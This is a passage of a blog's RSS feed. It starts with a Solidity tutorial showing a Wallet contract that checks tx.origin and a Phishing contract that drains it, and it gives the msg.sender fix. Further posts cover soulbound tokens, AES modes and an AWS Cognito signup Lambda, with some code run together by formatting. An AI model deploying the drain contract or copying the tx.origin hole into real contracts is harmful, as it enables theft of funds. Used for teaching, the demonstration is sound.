    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> _to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner, <span class="hljs-string">"Not the owner of this contract"</span>);
        (<span class="hljs-keyword">bool</span> sent, ) <span class="hljs-operator">=</span> _to.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: amount}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span> (sent, <span class="hljs-string">"Failed to send ether"</span>);
    } 
    
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
    
}
</code></pre><p>This contract lets any address to deposit ether into it through the deposit function. Only the owner of this contract will be able to withdraw ether from this smart contract. Lets us say, Ravya deploys this contract and other users can deposit any amount of ether into this contract.</p><p>So in principle, Only Ravya can withdraw all the ether deposited in this smart contract.</p><p>This contract might have other functions to make it more usable but for the sake of simplicity, I have put only three functions in this Wallet contract to demonstrate the phishing attack.</p><p>Let us design another contract -Phishing- to execute the phishing attack on this Wallet contract.</p><pre data-type="codeBlock" text="contract Phishing {
    address payable public owner;
    Wallet wallet ;
    
    constructor(Wallet _wallet) public {
        wallet = Wallet(_wallet); //setting the wallet storage   
                             //variable to the address of the wallet
                             // contract deployed on the chain.
        owner = msg.sender;
        
    }
    function transfer() public {
        wallet.transfer(owner, address(wallet).getBalance());
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Phishing</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;
    Wallet wallet ;
    
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">Wallet _wallet</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        wallet <span class="hljs-operator">=</span> Wallet(_wallet); <span class="hljs-comment">//setting the wallet storage   </span>
                             <span class="hljs-comment">//variable to the address of the wallet</span>
                             <span class="hljs-comment">// contract deployed on the chain.</span>
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        wallet.<span class="hljs-built_in">transfer</span>(owner, <span class="hljs-keyword">address</span>(wallet).getBalance());
    }
}
</code></pre><p>Lets us see how another user -let us call him Kris- can use this contract to withdraw ether from the Wallet contract, even though he is not the owner of this Wallet contract.</p><p>The transfer() function of the Phishing contract calls the transfer function of the original Wallet contract with the owner, who deployed this contract -in this case, Kris- and the total amount of ether stored in the instance of Wallet contract.</p><p>For this phishing attack to execute successfully, Kris would have to convince Ravya to call the transfer function of the Phishing contract rather than the transfer function of the Wallet contract.</p><p>If Ravya calls the transfer function of the Phishing contract, The tx.origin will be set to Ravy’s address in the transfer function of both the contracts: Phishing and Wallet.</p><p>Consequently, This “require” statement in the Wallet contract will be executed successfully and all the ether in the Wallet contract will be transferred to the Kris address since tx.origin will be Ravya’s address even though, this function is being called from the transfer function of Phishing contract.</p><pre data-type="codeBlock" text="require(tx.origin == owner, &quot;Not the owner of this contract&quot;);
"><code><span class="hljs-built_in">require</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner, <span class="hljs-string">"Not the owner of this contract"</span>);
</code></pre><p><strong>How to stop this attack?</strong></p><p><code>tx.origin</code> gives the <strong>origin</strong> of the transactions, so the user address it was originally sent from. With <code>tx.origin</code> the owner can never be a contract.</p><p>In a simple call chain A-&gt;B-&gt;C-&gt;D, inside D <code>msg.sender</code> will be C, and <code>tx.origin</code> will be A.</p><p>To ward off this phishing attack, Just use <strong><em>msg.sender</em></strong> instead of <strong><em>tx.origin</em></strong> because of the following reason***:***</p><p><code>msg.sender</code> gives the direct sender of the message, so for example a contract that passed it along.</p><p>So in our case, msg.sender will be the address of Phishing contract address rather than the address of Ravya which will cause require statement to fail.</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[Ethereum Transaction]]></title>
            <link>https://paragraph.com/@amafansofficial/ethereum-transaction</link>
            <guid>wjyo2iG6Re7cgvgQn5HL</guid>
            <pubDate>Sat, 11 Jun 2022 20:41:02 GMT</pubDate>
            <content:encoded><![CDATA[<figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a192b55fd27c8dd862d480847265190554370d42b32839dd636d520bc155638f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[SoulBound Tokens]]></title>
            <link>https://paragraph.com/@amafansofficial/soulbound-tokens</link>
            <guid>WwMuro4DuxUeUvG8ZAx8</guid>
            <pubDate>Sat, 11 Jun 2022 20:39:36 GMT</pubDate>
            <description><![CDATA[https://www.ama.fans/graphicaldot/post/0xabe40ffd33501f99f7800551b604100a646b4e53bcc646b2eae4b4cf3a331510 Vitalik Buterin co-published a paper predicting Ethereum’s future. NFT which are non-transferrable are called soulbound tokens (SBTs). Once you receive an SBT, you hold it in a Soul wallet forever. Only the issuer can burn the souldbound token. Problem with Transferable NFT’s: If someone shows you that they have an NFT that is obtainable by doing X, you can’t tell whether they did X thems...]]></description>
            <content:encoded><![CDATA[<p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ama.fans/graphicaldot/post/0xabe40ffd33501f99f7800551b604100a646b4e53bcc646b2eae4b4cf3a331510">https://www.ama.fans/graphicaldot/post/0xabe40ffd33501f99f7800551b604100a646b4e53bcc646b2eae4b4cf3a331510</a></p><p>Vitalik Buterin co-published a paper predicting Ethereum’s future.</p><p>NFT which are non-transferrable are called soulbound tokens (SBTs). Once you receive an SBT, you hold it in a Soul wallet forever. Only the issuer can burn the souldbound token.</p><p>Problem with Transferable NFT’s: If someone shows you that they have an NFT that is obtainable by doing X, you can’t tell whether they did X themselves or whether they just paid someone else to do X.</p><p><strong>Use case 1</strong>: Universities could give SBT degrees to their graduates. If universities gave NFT degrees now, graduates could sell them to anyone online. But if a graduate receives an SBT degree, he would not be able to transfer or sell it.</p><p><strong>Use case 2</strong>: A company is trying to hire people who went to Conference X. Because Conference X gave out SBT badges to its attendees, no one can buy a badge on an open market. The company could then filter candidates for verified attendees of Conference X.</p><p><strong>Use case 3</strong>: A DAO wants to build a community of environmentalists. The DAO can airdrop SBTs to attendees of environmental conferences and graduates of environmental programs. Assumption: <strong>there are very bad things that can easily happen to governance mechanisms if governance power is easily transferable.</strong></p><p><strong>Use case 4</strong>: Property ownership, People renting the property should be given soulbond tokens.</p><p><strong>My Take.</strong></p><ol><li><p>The burn should happen only by DAO members or may by a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://kleros.io/">Kleros</a> court.</p></li><li><p>Protocols should allow minting soulbound tokens based on the protocol used. Would be really beneficial for Defi Protocols or NFT projects.</p></li><li><p>Soulbound tokens should be a starting point for identity (Identity as an NFT is a bad idea since the beginning) .</p></li></ol><h2 id="h-non-transferability-and-privacy" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Non-transferability and privacy</h2><p>What if the user wants to migrate all their assets from one wallet to another?</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.proofofhumanity.id/">proof-of-humanity attestatio</a>n: Theoretically, anyone can create a proof-of-humanity profile with a smart contract account that has transferable ownership, and then sell that account. But the proof-of-humanity protocol has a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://kleros.gitbook.io/docs/products/proof-of-humanity/proof-humanity-tutorial-remove-and-challenge">revocation feature</a> that allows the original owner to make a video asking for a profile to be removed, and a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://kleros.io/">Kleros</a> court decides whether or not the video was from the same person as the original creator. Once the profile is successfully removed, they can re-apply to make a new profile. Hence, if you buy someone else’s proof-of-humanity profile, your possession can be very quickly taken away from you, making transfers of ownership non-viable. Proof-of-humanity profiles are de-facto soulbound, and infrastructure built on top of them could allow for on-chain items, in general, to be soulbound to particular humans.</p><p>The above method is really difficult to implement. The other simpler method suggested by Vitalik:</p><p>Fortunately, a few fairly simple technical options are possible:</p><ul><li><p>Store the item at an address that is the hash of (i) an index, (ii) the recipient address, and (iii) a secret belonging to the recipient. You could reveal your secret to an interface that would then scan for all possible items that belong to your, but no one without your secret could see which items are yours.</p></li><li><p>Publish a hash of a bunch of items, and give each recipient their Merkle branch.</p></li><li><p>If a <em>smart contract</em> needs to check if you have an item of some type, you can provide a ZK-SNARK.</p></li></ul><p>Transfers could be done on-chain; the simplest technique may just be a transaction that calls a factory contract to make the old item invalid and the new item valid, using a ZK-SNARK to prove that the operation is valid.</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[AES Modes]]></title>
            <link>https://paragraph.com/@amafansofficial/aes-modes</link>
            <guid>iiAeZk706tT04RrQBbLH</guid>
            <pubDate>Sat, 11 Jun 2022 20:37:51 GMT</pubDate>
            <description><![CDATA[http://ciit.finki.ukim.mk/data/papers/10CiiT/10CiiT-46.pdf Note that most of these require the IV to be random, which means non-predictable and therefore should be generated with cryptographic security. However, some require only a “nonce”, which does not demand that property but instead only requires that it is not re-used. Therefore designs that rely on a nonce are less error prone than designs that do not (and believe me, I have seen many cases where CBC is not implemented with proper IV s...]]></description>
            <content:encoded><![CDATA[<p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ciit.finki.ukim.mk/data/papers/10CiiT/10CiiT-46.pdf">http://ciit.finki.ukim.mk/data/papers/10CiiT/10CiiT-46.pdf</a></p><p>Note that most of these require the IV to be random, which means non-predictable and therefore should be generated with cryptographic security. However, some require only a “nonce”, which does not demand that property but instead only requires that it is not re-used. Therefore designs that rely on a nonce are less error prone than designs that do not (and believe me, I have seen many cases where CBC is not implemented with proper IV selection). So you will see that I have added bold when Rogaway says something like “confidentiality is not achieved when the IV is a nonce”, it means that if you choose your IV cryptographically secure (unpredictable), then no problem. But if you do not, then you are losing the good security properties. <strong>Never re-use an IV</strong> for any of these modes.</p><p>Also, it is important to understand the difference between message integrity and encryption. Encryption hides data, but an attacker might be able to modify the encrypted data, and the results can potentially be accepted by your software if you do not check message integrity. While the developer will say “but the modified data will come back as garbage after decryption”, a good security engineer will find the probability that the garbage causes adverse behaviour in the software, and then he will turn that analysis into a real attack. I have seen many cases where encryption was used but message integrity was really needed more than the encryption. Understand what you need.</p><p>I should say that although GCM has both encryption and message integrity, it is a very fragile design: if you re-use an IV, you are screwed — the attacker can recover your key. Other designs are less fragile, so I personally am afraid to recommend GCM based upon the amount of poor encryption code that I have seen in practice.</p><p>If you need both, message integrity and encryption, you can combine two algorithms: usually we see CBC with HMAC, but no reason to tie yourself to CBC. The important thing to know is <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac">encrypt first, then MAC the encrypted content</a>, not the other way around. Also, the IV needs to be part of the MAC calculation.</p><p>I am not aware of IP issues.</p><p>Now to the good stuff from Professor Rogaway:</p><h1 id="h-block-ciphers-modes-encryption-but-not-message-integrity" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Block ciphers modes, encryption but not message integrity</h1><p><strong>ECB</strong>: A blockcipher, the mode enciphers messages that are a multiple of n bits by separately enciphering each n-bit piece. <strong>The security properties are weak</strong>, the method leaking equality of blocks across both block positions and time. Of considerable legacy value, and of value as a building block for other schemes, but the mode does not achieve any generally desirable security goal in its own right and must be used with considerable caution; <strong>ECB should not be regarded as a “general-purpose” confidentiality mode</strong>.</p><p><strong>CBC</strong>: An IV-based encryption scheme, the mode is secure as a probabilistic encryption scheme, achieving indistinguishability from random bits, assuming a random IV. <strong>Confidentiality is not achieved if the IV is merely a nonce</strong>, nor if it is a nonce enciphered under the same key used by the scheme, as the standard incorrectly suggests to do. Ciphertexts are highly malleable. No chosen ciphertext attack (CCA) security. Confidentiality is forfeit in the presence of a correct-padding oracle for many padding methods. Encryption inefficient from being inherently serial. Widely used, the mode’s privacy-only security properties result in frequent misuse. Can be used as a building block for CBC-MAC algorithms. <strong>I can identify no important advantages over CTR mode.</strong></p><p><strong>CFB</strong>: An IV-based encryption scheme, the mode is secure as a probabilistic encryption scheme, achieving indistinguishability from random bits, assuming a random IV. <strong>Confidentiality is not achieved if the IV is predictable</strong>, nor if it is made by a nonce enciphered under the same key used by the scheme, as the standard incorrectly suggests to do. Ciphertexts are malleable. No CCA-security. Encryption inefficient from being inherently serial. Scheme depends on a parameter s, 1 ≤ s ≤ n, typically s = 1 or s = 8. Inefficient for needing one blockcipher call to process only s bits . The mode achieves an interesting “self-synchronization” property; insertion or deletion of any number of s-bit characters into the ciphertext only temporarily disrupts correct decryption.</p><p><strong>OFB</strong>: An IV-based encryption scheme, the mode is secure as a probabilistic encryption scheme, achieving indistinguishability from random bits, assuming a random IV. Confidentiality is not achieved if the IV is a nonce, although a fixed sequence of IVs (eg, a counter) does work fine. Ciphertexts are highly malleable. No CCA security. Encryption and decryption inefficient from being inherently serial. Natively encrypts strings of any bit length (no padding needed). I can identify no important advantages over CTR mode.</p><p><strong>CTR</strong>: An IV-based encryption scheme, the mode achieves indistinguishability from random bits assuming a nonce IV. As a secure nonce-based scheme, the mode can also be used as a probabilistic encryption scheme, with a random IV. Complete failure of privacy if a nonce gets reused on encryption or decryption. The parallelizability of the mode often makes it faster, in some settings much faster, than other confidentiality modes. An important building block for authenticated-encryption schemes. <strong>Overall, usually the best and most modern way to achieve privacy-only encryption.</strong></p><p><strong>XTS</strong>: An IV-based encryption scheme, the mode works by applying a tweakable blockcipher (secure as a strong-PRP) to each n-bit chunk. For messages with lengths not divisible by n, the last two blocks are treated specially. The only allowed use of the mode is for encrypting data on a block-structured storage device. The narrow width of the underlying PRP and the poor treatment of fractional final blocks are problems. More efficient but less desirable than a (wide-block) PRP-secure blockcipher would be.</p><h1 id="h-macs-message-integrity-but-not-encryption" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">MACs (message integrity but not encryption)</h1><p><strong>ALG1–6</strong>: A collection of MACs, all of them based on the CBC-MAC. Too many schemes. Some are provably secure as VIL PRFs, some as FIL PRFs, and some have no provable security. Some of the schemes admit damaging attacks. Some of the modes are dated. Key-separation is inadequately attended to for the modes that have it. Should not be adopted en masse, but selectively choosing the “best” schemes is possible. It would also be fine to adopt none of these modes, in favor of CMAC. Some of the ISO 9797–1 MACs are widely standardized and used, especially in banking. A revised version of the standard (ISO/IEC FDIS 9797–1:2010) will soon be released [93].</p><p><strong>CMAC</strong>: A MAC based on the CBC-MAC, the mode is provably secure (up to the birthday bound) as a (VIL) PRF (assuming the underlying blockcipher is a good PRP). Essentially minimal overhead for a CBCMAC-based scheme. Inherently serial nature a problem in some application domains, and use with a 64-bit blockcipher would necessitate occasional re-keying. Cleaner than the ISO 9797–1 collection of MACs.</p><p><strong>HMAC</strong>: A MAC based on a cryptographic hash function rather than a blockcipher (although most cryptographic hash functions are themselves based on blockciphers). Mechanism enjoys strong provable-security bounds, albeit not from preferred assumptions. Multiple closely-related variants in the literature complicate gaining an understanding of what is known. No damaging attacks have ever been suggested. Widely standardized and used.</p><p><strong>GMAC</strong>: A nonce-based MAC that is a special case of GCM. Inherits many of the good and bad characteristics of GCM. But nonce-requirement is unnecessary for a MAC, and here it buys little benefit. Practical attacks if tags are truncated to ≤ 64 bits and extent of decryption is not monitored and curtailed. Complete failure on nonce-reuse. Use is implicit anyway if GCM is adopted. Not recommended for separate standardization.</p><h1 id="h-authenticated-encryption-both-encryption-and-message-integrity" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">authenticated encryption (both encryption and message integrity)</h1><p><strong>CCM</strong>: A nonce-based AEAD scheme that combines CTR mode encryption and the raw CBC-MAC. Inherently serial, limiting speed in some contexts. Provably secure, with good bounds, assuming the underlying blockcipher is a good PRP. Ungainly construction that demonstrably does the job. Simpler to implement than GCM. Can be used as a nonce-based MAC. Widely standardized and used.</p><p><strong>GCM</strong>: A nonce-based AEAD scheme that combines CTR mode encryption and a GF(2128)-based universal hash function. Good efficiency characteristics for some implementation environments. Good provably-secure results assuming minimal tag truncation. Attacks and poor provable-security bounds in the presence of substantial tag truncation. Can be used as a nonce-based MAC, which is then called GMAC. Questionable choice to allow nonces other than 96-bits. Recommend restricting nonces to 96-bits and tags to at least 96 bits. Widely standardized and used.</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[Part 1, Serverless]]></title>
            <link>https://paragraph.com/@amafansofficial/part-1-serverless</link>
            <guid>3NyVRsyA8vSIVyrtdNw5</guid>
            <pubDate>Sat, 11 Jun 2022 20:29:50 GMT</pubDate>
            <description><![CDATA[Part 1, ServerlessAWS cognito with Python.IntroductionThe login page is the first thing that most web application users encounter. Account creation is the gateway through which all new application users pass through before they can use a web application. This means that authentication (account creation, login, and user data management) is a critical component for most web applications. Cognito is designed for a variety of application use cases. Cognito can be used for client-side authenticati...]]></description>
            <content:encoded><![CDATA[<h1 id="h-part-1-serverless" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Part 1, Serverless</h1><h1 id="h-aws-cognito-with-python" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">AWS cognito with Python.</h1><h1 id="h-introduction" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Introduction</h1><p>The login page is the first thing that most web application users encounter. Account creation is the gateway through which all new application users pass through before they can use a web application. This means that authentication (account creation, login, and user data management) is a critical component for most web applications.</p><p>Cognito is designed for a variety of application use cases. Cognito can be used for client-side authentication of mobile devices, client-side web applications (using JavaScript), and for server-side authentication (the application that is discussed in this article). The Cognito infrastructure can even provide web pages for various authentication tasks.</p><h1 id="h-cognito-user-pools" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Cognito User Pools</h1><p>Cognito can support one more “user pool”. Each “pool” contains the login and user information for a group of users. Production and test user pools can be created so that application testing does not impact the Cognito production user information.</p><p>Cognito also provides a user interface that allows the management of users within a particular pool. This user interface is available via the AWS console login, which can be protected with two-factor authentication.</p><h1 id="h-cognito-authentication-support" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Cognito Authentication Support</h1><p>The AWS Cognito service provides support for a wide range of authentication features, For example, Cognito can support two-factor authentication for high-security applications and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://oauth.net/">OAuth</a>, which allows an application to authenticate using an OAuth provider like Google, Facebook, or Twitter.</p><p>Cognito supports the steps needed to securely create an application account. This includes sending a temporary password to the user’s email and temporary authentication using this password, which allows the user to create a permanent password.</p><p>Cognito also supports password reset for an existing account in the case where a user has forgotten their password. Cognito will email the user a code, which can be used to create a new password or can also send a code to the registered mobile number. There are two ways, in which the codes can be sent. You can use the default Cognito messaging or can integrate with SNS/SES.</p><p>The diagram below illustrates the web page flow for new accounts and forgotten passwords. In this demonstration application, the Spring code supports the control flow via Spring controller objects.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6a0888f48e5bba354ab30189f21a7016dcc02dc00ce315a904db405a055751c5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Lets me first walk you through the steps needed to create a user pool on AWS Cognito.</p><ol><li><p>Go to the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://console.aws.amazon.com/cognito/home">Amazon Cognito console</a>. You might be prompted for your AWS credentials.</p></li><li><p>Choose <strong>Manage your User Pools</strong>.</p></li><li><p>In the top-right corner of the page, choose to <strong>Create a User Pool</strong>.</p></li><li><p>Provide a name for your user pool, and choose <strong>Review Defaults</strong> to save the name.</p></li><li><p>On the <strong>Attributes</strong> page, choose <strong>Email address or phone number</strong> and <strong>Allow email addresses</strong>.</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b05a5a76eac73755723667a37ff9817d56a45f155a99fe2d571e3071d905f7a2.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ol><li><p>At the bottom of the page, choose <strong>Next Step</strong> to save the attribute.</p></li><li><p>On the navigation bar on the left side of the page, choose <strong>Review</strong>.</p></li><li><p>At the bottom of the <strong>Review</strong> page, choose <strong>Create pool</strong>.</p></li></ol><p>For this tutorial, I have chosen the first option U***sername, *<em>which means that users can choose their unique usernames and sign up with them.</em></p><p>Note down you pool-id</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4481adc8db8a7436a359654fb1dbbd4b6031399ee6163f7d35fdfb6d9f2e52c3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Next is to create app-client-id.</p><ol><li><p>On the navigation bar on the left side of the page, choose <strong>App clients</strong> under <strong>General settings</strong>.</p></li><li><p>Choose to <strong>Add an app client</strong>.</p></li><li><p>Give your app a name.</p></li><li><p>Check to generate client secret, it will be required in our lambda functions, and check server-based authentication (ADMIN_NO_SRP_AUTH).</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/18cb312929b42b1dde48382a80a83caee4191fbbedef922a6f4365d58d0f5699.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ol><li><p>Choose to <strong>Create app client</strong>.</p></li><li><p>Note the <strong>App client ID and APP Client Secret.</strong></p></li></ol><p>Now, Our AWS Cognito user pool is created and we now need to create lambda functions to interact with it.</p><h1 id="h-lambda-function-signup" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Lambda function: Signup</h1><p>When a user needs to sign in, he/she has to decide on their primary email id and a password of at least 8 characters long. The lambda function will handle new user registration.</p><pre data-type="codeBlock" text="import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import jsonUSER_POOL_ID = &apos;&apos;
CLIENT_ID = &apos;&apos;
CLIENT_SECRET = &apos;&apos;def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode(&apos;utf-8&apos;), 
        msg = str(msg).encode(&apos;utf-8&apos;), digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):    for field in [&quot;username&quot;, &quot;email&quot;, &quot;password&quot;, &quot;name&quot;]:
        if not event.get(field):
            return {&quot;error&quot;: False, &quot;success&quot;: True, &apos;message&apos;: f&quot;{field} is not present&quot;, &quot;data&quot;: None}
    username = event[&apos;username&apos;]
    email = event[&quot;email&quot;]
    password = event[&apos;password&apos;]
    name = event[&quot;name&quot;]    client = boto3.client(&apos;cognito-idp&apos;)    try:
        resp = client.sign_up(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            Password=password, 
            UserAttributes=[
            {
                &apos;Name&apos;: &quot;name&quot;,
                &apos;Value&apos;: name
            },
            {
                &apos;Name&apos;: &quot;email&quot;,
                &apos;Value&apos;: email
            }
            ],
            ValidationData=[
                {
                &apos;Name&apos;: &quot;email&quot;,
                &apos;Value&apos;: email
            },
            {
                &apos;Name&apos;: &quot;custom:username&quot;,
                &apos;Value&apos;: username
            }])
    
    
    except client.exceptions.UsernameExistsException as e:
        return {&quot;error&quot;: False, 
               &quot;success&quot;: True, 
               &quot;message&quot;: &quot;This username already exists&quot;, 
               &quot;data&quot;: None}    except client.exceptions.InvalidPasswordException as e:
        
        return {&quot;error&quot;: False, 
               &quot;success&quot;: True, 
               &quot;message&quot;: &quot;Password should have Caps,\
                          Special chars, Numbers&quot;, 
               &quot;data&quot;: None}    except client.exceptions.UserLambdaValidationException as e:
        return {&quot;error&quot;: False, 
               &quot;success&quot;: True, 
               &quot;message&quot;: &quot;Email already exists&quot;, 
               &quot;data&quot;: None}
    
    except Exception as e:
        return {&quot;error&quot;: False, 
                &quot;success&quot;: True, 
                &quot;message&quot;: str(e), 
               &quot;data&quot;: None}
    
    return {&quot;error&quot;: False, 
            &quot;success&quot;: True, 
            &quot;message&quot;: &quot;Please confirm your signup, \
                        check Email for validation code&quot;, 
            &quot;data&quot;: None}
"><code><span class="hljs-keyword">import</span> <span class="hljs-title">boto3</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">botocore</span>.<span class="hljs-title">exceptions</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hmac</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hashlib</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">base64</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">jsonUSER_POOL_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title">CLIENT_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span>
<span class="hljs-title">CLIENT_SECRET</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span><span class="hljs-title">def</span> <span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>):
    <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">username</span> <span class="hljs-operator">+</span> <span class="hljs-title">CLIENT_ID</span>
    <span class="hljs-title">dig</span> <span class="hljs-operator">=</span> <span class="hljs-title">hmac</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title">str</span>(<span class="hljs-title">CLIENT_SECRET</span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), 
        <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">str</span>(<span class="hljs-title"><span class="hljs-built_in">msg</span></span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), <span class="hljs-title">digestmod</span><span class="hljs-operator">=</span><span class="hljs-title">hashlib</span>.<span class="hljs-title"><span class="hljs-built_in">sha256</span></span>).<span class="hljs-title">digest</span>()
    <span class="hljs-title">d2</span> <span class="hljs-operator">=</span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">dig</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">d2def</span> <span class="hljs-title">lambda_handler</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>, <span class="hljs-title">context</span>):    <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">field</span> <span class="hljs-title">in</span> [<span class="hljs-string">"username"</span>, <span class="hljs-string">"email"</span>, <span class="hljs-string">"password"</span>, <span class="hljs-string">"name"</span>]:
        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">not</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>.<span class="hljs-title">get</span>(<span class="hljs-title">field</span>):
            <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">'message'</span>: <span class="hljs-title">f</span><span class="hljs-string">"{field} is not present"</span>, <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}
    <span class="hljs-title">username</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'username'</span>]
    <span class="hljs-title">email</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">"email"</span>]
